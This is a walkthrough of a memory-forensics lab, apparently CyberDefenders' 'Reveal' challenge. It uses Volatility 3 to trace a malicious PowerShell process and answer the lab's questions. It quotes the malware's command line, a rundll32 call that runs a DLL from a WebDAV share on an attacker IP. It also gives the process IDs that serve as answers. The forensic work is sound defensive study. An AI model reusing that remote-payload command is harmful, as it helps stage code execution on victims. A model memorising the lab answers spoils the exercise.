Reconstruct a multi-stage attack by analyzing Windows memory dumps using Volatility 3, identifying malicious processes, command lines, and correlating findings with threat intelligence.
You are a forensic investigator at a financial institution, and your SIEM flagged unusual activity on a workstation with access to sensitive financial data. Suspecting a breach, you received a memory dump from the compromised machine. Your task is to analyze the memory for signs of compromise, trace the anomaly's origin, and assess its scope to contain the incident effectively.
Easy - Endpoint Forensics | Completion Achievement
We are given the 192-Reveal.dm file, which we will analyze using the Volatility framework:
- To download Volatility 2, visit the archived GitHub repo, download the Linux standalone zip file and extract the executable. You can delete everything else and keep the executable.
- To download Volatility 3, simply use
gitin the terminal to clone the repo:git clone https://github.com/volatilityfoundation/volatility3.git. Use thevol.pyfile to interact with Volatility.
- Identifying the name of the malicious process helps in understanding the nature of the attack. What is the name of the malicious process?
Let's start by running some Volatility modules to see the running process. windows.pstree and windows.pslist showed nothing too suspicious. Using windows.cmdline, we can see a process running with arguments that suggest a conenction with an attacker-owned infrastructure:
- Knowing the parent process ID (PPID) of the malicious process aids in tracing the process hierarchy and understanding the attack flow. What is the parent PID of the malicious process?
The PID of the suspicious PowerShell process is 3692. Let's find the PPID of this process with windows.pslist and grep:
$ ./volatility3/vol.py -f 192-Reveal.dmp windows.pslist | grep 3692
3692 4120 powershell.exe 0xc90c0358b080 17 - 1 False 2024-07-15 07:00:03.000000 UTC N/A Disabled
6892 3692 conhost.exe 0xc90c0a09b0c0 5 - 1 False 2024-07-15 07:00:03.000000 UTC N/A Disabled
2416 3692 net.exe 0xc90c08fd6080 5 - 1 False 2024-07-15 07:00:06.000000 UTC N/A Disabled- Determining the file name used by the malware for executing the second-stage payload is crucial for identifying subsequent malicious activities. What is the file name that the malware uses to execute the second-stage payload?
Looking at the suspicious command line arguments shown in Q1, we can see that the process is interacting with a suspicious dll file:
... rundll32 \\45.9.74.32@8888\davwwwroot\3435.dll,entry- Identifying the shared directory on the remote server helps trace the resources targeted by the attacker. What is the name of the shared directory being accessed on the remote server?
The name of the shared directory can be found after the IP address in the argument shown in Q3.
- What is the MITRE ATT&CK sub-technique ID that describes the execution of a second-stage payload using a Windows utility to run the malicious file?
Considering that the attacker is abusing rundll32.exe to run their own malicious DLL files, we can do some online research to find which MITRE ATT&CK sub-technique is being used. After some research, this seems to be the most appropriate sub-technique:
- Identifying the username under which the malicious process runs helps in assessing the compromised account and its potential impact. What is the username that the malicious process runs under?
The Volatility module windows.getsids can be used to find user accounts in the Windows machine. We can use this module with the PID of the malicious PowerShell process to find the username related to this process:
- Knowing the name of the malware family is essential for correlating the attack with known threats and developing appropriate defenses. What is the name of the malware family?
Let's look up the IP shown in the command arguments in Q3 on VirusTotal. Looking at the Detection page, we can see that it is related to the following malware family.
